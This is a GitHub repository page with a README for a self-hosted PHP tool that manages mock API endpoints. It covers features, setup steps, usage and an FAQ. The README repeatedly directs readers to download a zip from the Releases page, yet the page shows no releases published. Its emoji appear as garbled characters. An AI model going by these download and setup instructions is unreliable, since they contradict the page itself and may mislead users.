Skip to content

🌐 Create and manage mock API endpoints effortlessly with this self-hosted tool, designed for seamless development and testing.

Notifications You must be signed in to change notification settings

DanielHs09/mock-api-project

Repository files navigation

πŸš€ mock-api-project - A Simple Tool for Mock API Management

Download Here

πŸ“– Description

This is a Mock API Project, a powerful and intuitive PHP application designed to help developers and testers manage their mock API endpoints for seamless testing. This dashboard provides a centralized interface for creating, managing, and testing endpoints, environments, and responses.

πŸ“ Key Features

  • Easy Endpoint Management: Create and modify mock API endpoints effortlessly.
  • User-friendly Interface: Navigate through a simple and organized dashboard.
  • Environment Management: Manage different environments for testing purposes.
  • Response Customization: Easily customize the responses returned by your mock APIs.

βš™οΈ System Requirements

To run the mock-api-project, ensure you have:

  • A web server that supports PHP (e.g., Apache or Nginx).
  • PHP version 7.2 or higher installed.
  • PostgreSQL or any compatible database for data storage.
  • Node.js for managing package dependencies.

πŸš€ Getting Started

Follow these steps to download and run the application:

  1. Visit the Releases Page: Click here to go to the Releases page.
  2. Download the Latest Version: Find the most recent version of the mock-api-project. Click the link to download the files.
  3. Extract the Files: Once the download is complete, locate the file on your computer. Extract the contents of the downloaded zip file to a location of your choice.
  4. Set Up Your Server: Place the extracted files in your web server’s document root (e.g., htdocs for XAMPP or www for WAMP).
  5. Configure Your Database:
    • Create a new PostgreSQL database for the application.
    • Modify the configuration file (config.php) to include your database connection details.
  6. Access the Application: Open your web browser and navigate to http://localhost/mock-api-project (or replace mock-api-project with the folder name you chose).
  7. Create Endpoints: Start creating and managing your mock API endpoints through the dashboard.

πŸ’» Download & Install

To get started, visit this page to download: mock-api-project Releases.

πŸ“š Usage Instructions

Creating a New Endpoint

  1. Navigate to the "Endpoints" section in the dashboard.
  2. Click on "Create Endpoint".
  3. Fill in the required fields, including the path, method (GET, POST, etc.), and the response.
  4. Save your new endpoint to test it.

Testing an Endpoint

  1. Use tools like Postman or curl to send requests to your new endpoint.
  2. Check the responses provided by the application to ensure they match your expectations.

🀝 Contributing

We welcome contributions to improve this project. If you have suggestions or would like to report an issue, please open a pull request or issue on the GitHub repository.

🧐 Topics

This project covers several topics, including but not limited to:

  • api
  • api-testing
  • crud
  • curl
  • development-tool
  • endpoints
  • html
  • iot
  • javascript
  • mock-api
  • mock-server
  • node-js
  • open-source
  • php
  • postgres
  • rest-api
  • server
  • testing-tools

For more detailed explanations or additional resources, refer to the respective topics or reach out to the community.

πŸ› οΈ Troubleshooting

If you encounter issues while running the application:

  • Check that your server is running and configured correctly.
  • Ensure your database settings are correct in the configuration file.
  • Look at the error logs for any messages that can help identify problems.

βœ… Frequently Asked Questions

What is a Mock API?

A Mock API simulates the behavior of a real API by providing predefined responses. This allows developers to test their applications without needing a live backend server.

Why Use This Tool?

Using the mock-api-project saves time and resources by allowing developers and testers to create a controlled environment for testing their applications.

Is It Free to Use?

Yes, mock-api-project is an open-source tool. Feel free to use it for your projects. Contributions to improve it are encouraged.

πŸŽ‰ Help and Support

For additional support, please refer to the GitHub repository or check the issues section for community support.

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •